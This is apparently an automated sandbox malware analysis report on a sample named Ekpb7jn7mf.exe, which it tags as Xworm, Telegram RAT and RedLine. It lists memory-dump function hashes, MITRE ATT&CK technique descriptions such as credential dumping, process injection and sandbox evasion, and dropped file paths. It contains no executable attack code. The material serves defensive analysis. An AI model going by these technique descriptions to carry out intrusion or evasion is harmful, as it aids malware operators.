Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1771882044.00007FFD9B2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b2a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20cb55496c96ff83eaa2f7844a40f73237409433ad91314041d6d12de95607ed
Instruction ID: d7374a54795740a99c6ded754c2ee5fe204b50523d6a7dfe678da540724a03d5
Opcode Fuzzy Hash: 20cb55496c96ff83eaa2f7844a40f73237409433ad91314041d6d12de95607ed
Instruction Fuzzy Hash: 5B114F7290FBC85FD7539B7888791943FB0EE63251B0A05EBC488CB1B3D5195949C793

Function 00007FFD9B2A9758 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1771882044.00007FFD9B2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b2a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85914eee19df05d902b803a6f96d9be4633624e0c20f74c19e2738012c5865e
Instruction ID: faae9d8f811d5bb85c3537ec2b88652077312bc08e3060c37e572664d7bed881
Opcode Fuzzy Hash: e85914eee19df05d902b803a6f96d9be4633624e0c20f74c19e2738012c5865e
Instruction Fuzzy Hash: BC311B7190CB4C9FDB189F5CAC4A6B87BE0FB99710F00812FE449C3291CA20B851CBC2

Function 00007FFD9B18E384 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1771315960.00007FFD9B18D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B18D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b18d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e1e973cd8c8d2b47336079b2e24e4e3efc18812d031d77a8c54e17553147000
Instruction ID: 62c18203e30d320b5f7cd4d10e48d90ab265bc8473cc2b4a9f2d9f18c3393866
Opcode Fuzzy Hash: 3e1e973cd8c8d2b47336079b2e24e4e3efc18812d031d77a8c54e17553147000
Instruction Fuzzy Hash: F541237280EFC84FE7668B2898519523FB0FF52324B0601EFD488CB1A3D625A946C792

Function 00007FFD9B2AA62C Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1771882044.00007FFD9B2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b2a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26001a99c79c6ca781f6dca8ce994191ed91087ba1c0e54115fd955f5ed2d661
Instruction ID: 38d427c7d4d2d6649b2274c06284a98c09d1f9e58fb6a4367740b9936c0efa8c
Opcode Fuzzy Hash: 26001a99c79c6ca781f6dca8ce994191ed91087ba1c0e54115fd955f5ed2d661
Instruction Fuzzy Hash: 7521F83190CB4C4FEB59DFAC984A7E97FF0EB96321F04426BD048C3196DA74A45ACB91

Function 00007FFD9B2A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1771882044.00007FFD9B2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b2a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 695a41e6a3268453f63ea608c3ef483d483d8d6c3c36ae7a1d1d4998015c76de
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 9901677121CB0C4FD748EF0CE451AA5B7E0FB95364F10056DE58AC36A5DA36E882CB46

Function 00007FFD9B37414D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1772440352.00007FFD9B370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deb124c6871c360649513401f94d689cfc48b0a6449fa53c1ea9585f6215f64d
Instruction ID: 2fef29d525fd2c9649cca63da04343b5b7d04da8d5075005b1bc5406a6154acd
Opcode Fuzzy Hash: deb124c6871c360649513401f94d689cfc48b0a6449fa53c1ea9585f6215f64d
Instruction Fuzzy Hash: C3F09A32B0D9098FD768FA4CE4918A877E0EF5932071200BAE06DC75A7CA29FC408780

Function 00007FFD9B374400 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1772440352.00007FFD9B370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33cef8d38df244dbcb9fa5928e592f73bca32594cc4507ba2d2f306e99188057
Instruction ID: 6b3d5cbd8d49b3fcabaaf870ad1178516e4be9f7b6f89095e05aeec44578e4c4
Opcode Fuzzy Hash: 33cef8d38df244dbcb9fa5928e592f73bca32594cc4507ba2d2f306e99188057
Instruction Fuzzy Hash: 96F05E32A4D5498FD768EA5CE4A18A877E0EF4932475600FAE15DC74A7DA25BC40C750

Function 00007FFD9B3741D1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1772440352.00007FFD9B370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction ID: e84a586dcc966f2da4a7cee10b5a8ed5f40e3d7a1628174f1523b0c2d2dd2964
Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction Fuzzy Hash: 83E01A31B1C8088FDA78EA4CE0919AD73E5EB9833171201BFD14EC7571CA26FD518B80

Non-executed Functions

Function 00007FFD9B2A8BFA Relevance: 5.1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

Strings

L_^7, xrefs: 00007FFD9B2A8C12
L_^4, xrefs: 00007FFD9B2A8BFA
L_^J, xrefs: 00007FFD9B2A8C8A
L_^F, xrefs: 00007FFD9B2A8C7A

Memory Dump Source

Source File: 0000000A.00000002.1771882044.00007FFD9B2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b2a0000_powershell.jbxd

Similarity

API ID:
String ID: L_^4$L_^7$L_^F$L_^J
API String ID: 0-3225005683
Opcode ID: 02d8dffb2fc30e881c9c0a44405cd32b71f90e60e1d62c3e6a1fe4010585dcda
Instruction ID: 6b1fca80049b040f946fd84a8d6541325269d1e23169487ca6f8bb20b7c65ad0
Opcode Fuzzy Hash: 02d8dffb2fc30e881c9c0a44405cd32b71f90e60e1d62c3e6a1fe4010585dcda
Instruction Fuzzy Hash: 8B21F6B77086359ED3157FBEB819DED3740CF9427434552F2D2A98B093EA1470868AD0

Analysis Process: powershell.exePID: 7720, Parent PID: 6564COMMON

Executed Functions

Function 00007FFD9B38660A Relevance: .4, Instructions: 415COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1917121954.00007FFD9B380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b380000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 514c1750924aa37780af0d0f581310c1286a2224d1c67507935242a836ec282b
Instruction ID: 29d06077e2a507974b9cebb6b494ec78222639af80f1fb448a31dbee383c2add
Opcode Fuzzy Hash: 514c1750924aa37780af0d0f581310c1286a2224d1c67507935242a836ec282b
Instruction Fuzzy Hash: 1DC13832B0EE8E0FEBA5EBA858659757BD1EF55314F0941BED05DC70E7DA28AD008342

Function 00007FFD9B38662C Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1917121954.00007FFD9B380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b380000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afcec5a3d6a439fad0de0cccf6ce178f43e5d2e654418bca58bab0b2d06cae76
Instruction ID: 682e9cea1d2d329ef9b958baf7f24e9182bcf7c4c0da1354f2b5db64739617ff
Opcode Fuzzy Hash: afcec5a3d6a439fad0de0cccf6ce178f43e5d2e654418bca58bab0b2d06cae76
Instruction Fuzzy Hash: 9E810322A0FECA0FEBB5EAE858755347A91EF55314F5A41FED04DCB0E7D928AD048342

Function 00007FFD9B2B974E Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1916340222.00007FFD9B2B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b2b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf5e9377e63672570fc68cf585a48101193cd2efe63a313d895ce2a89b80ec9a
Instruction ID: d7051700ed8c6cae2675849df99ea689f97587fae59b39a9847eab084b980f05
Opcode Fuzzy Hash: bf5e9377e63672570fc68cf585a48101193cd2efe63a313d895ce2a89b80ec9a
Instruction Fuzzy Hash: 80411971A0EB885FE719DF6C9C1A6B97FE0FB56310F0441AFD49883193CA64A945CBC2

Function 00007FFD9B19EB89 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1915405342.00007FFD9B19D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B19D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b19d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eff7414a1bca8d223ab2533061ed9e7a737f33e51f10f379188bd90dc7b7b51
Instruction ID: 3dcf90ca76fb19e40a190e89a57066bb46fe202ea81df524173c3a51b03bca3e
Opcode Fuzzy Hash: 2eff7414a1bca8d223ab2533061ed9e7a737f33e51f10f379188bd90dc7b7b51
Instruction Fuzzy Hash: 24412B7240EBC84FE7568B38E8559523FF0EF56324B1605DFD089CB1A3D625A84AC792

Function 00007FFD9B2BA4BC Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1916340222.00007FFD9B2B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b2b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb6ded680f7aa1d9ee4d731fe2679ec9180f78085057d23270dd1a33b843648d
Instruction ID: c3334e68c7af30e11fda3a203106f7206c14815322e7bb7b139fe413b808356e
Opcode Fuzzy Hash: cb6ded680f7aa1d9ee4d731fe2679ec9180f78085057d23270dd1a33b843648d
Instruction Fuzzy Hash: 5121FB3190C74C4FDB59DF9C984A7E97BF0EB56321F04426BD049C3162DA74945ACB91

Function 00007FFD9B2BA0FB Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1916340222.00007FFD9B2B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b2b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 807c17a5089f1b0bfba5e5b55c8a005175fb9006c50bcc30901789d240c54e2d
Instruction ID: 6134c5d2a90f1f80c2796265adf7b64a07bf9a2add694e94967e2950964429c4
Opcode Fuzzy Hash: 807c17a5089f1b0bfba5e5b55c8a005175fb9006c50bcc30901789d240c54e2d
Instruction Fuzzy Hash: 671125BA95FBDD2EDB928F289C644917FF0FF63600B0542ABD0C8CB162EE105949CB51

Function 00007FFD9B2B33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1916340222.00007FFD9B2B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b2b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 46df0fcf678726a3a8c18cf474ff2dd04bc7607425c30963c59cf54c86bce1d0
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 4001677121CB0C4FD748EF0CE451AA6B7E0FB95364F50056EE58AC36A5DA36E882CB46

Function 00007FFD9B38414D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1917121954.00007FFD9B380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b380000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 824138cfee977e6a2d1cd154da6749558925fb5e494644809b4d82194a3defd4
Instruction ID: 766119c72d4c9e8d4504342ffa96f6dddcbc2a9e9ced70a798920faba7a3b380
Opcode Fuzzy Hash: 824138cfee977e6a2d1cd154da6749558925fb5e494644809b4d82194a3defd4
Instruction Fuzzy Hash: E2F0BE32B0D9098FD7A9EA8CE4518A877E0EF5932071200BEE06DC75B7CA39EC40C781

Function 00007FFD9B384400 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1917121954.00007FFD9B380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b380000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc3f3692379f78cb717980b45d381909af2cca6877a7dd52b67522caaa454766
Instruction ID: 55f815a3181e6b08f6a0f1c4896c97bc8ced4ee608cc7a8674fce5bb5f454c83
Opcode Fuzzy Hash: cc3f3692379f78cb717980b45d381909af2cca6877a7dd52b67522caaa454766
Instruction Fuzzy Hash: 5AF0BE32A4D9488FD7A8EA8CE0608A877E0FF45324B4200FAE05DC74A7DA25AC40C741

Function 00007FFD9B3841D1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1917121954.00007FFD9B380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b380000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction ID: 23b1db955046ec0e017dd8d049f1f892f8368d9f5ff0b372f3c075c81c4eac32
Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction Fuzzy Hash: 80E01A31B0C8088FDAB9EA8CE0519A973E1EB9832171201BFD14EC7971CA36ED518B81

Non-executed Functions

Function 00007FFD9B2B8BF2 Relevance: 10.1, Strings: 8, Instructions: 85COMMON

Download Yara Rule

Strings

K_^Y, xrefs: 00007FFD9B2B8CBA
K_^<, xrefs: 00007FFD9B2B8C12
K_^?, xrefs: 00007FFD9B2B8C2A
K_^8, xrefs: 00007FFD9B2B8BF2
K_^K, xrefs: 00007FFD9B2B8C6A
K_^N, xrefs: 00007FFD9B2B8C72
K_^J, xrefs: 00007FFD9B2B8C62
K_^Q, xrefs: 00007FFD9B2B8C8A

Memory Dump Source

Source File: 0000000D.00000002.1916340222.00007FFD9B2B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b2b0000_powershell.jbxd

Similarity

API ID:
String ID: K_^8$K_^<$K_^?$K_^J$K_^K$K_^N$K_^Q$K_^Y
API String ID: 0-2350917820
Opcode ID: 227aa69b1fbc1c82fa311b63e9fce6667358cd8e78cee4ad2729eeab0005292d
Instruction ID: b3f564df4f77b7ec7ef5020bf3105c6b904625b8002674d0995e4a096502a063
Opcode Fuzzy Hash: 227aa69b1fbc1c82fa311b63e9fce6667358cd8e78cee4ad2729eeab0005292d
Instruction Fuzzy Hash: FC21F6B3B086259ACB1A3ABEB855DE87791DF5437834502F3E029DF193DD54A48B8A80

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Ekpb7jn7mf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Threatname: Telegram RAT

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\wjoqZlIS.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\settings.dat

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\settings.dat.LOG1

C:\Users\user\AppData\Local\Temp\YsrQekGS.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dbfenx1s.x1v.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_egxa0rnu.b4r.psm1

Windows Analysis Report
Ekpb7jn7mf.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

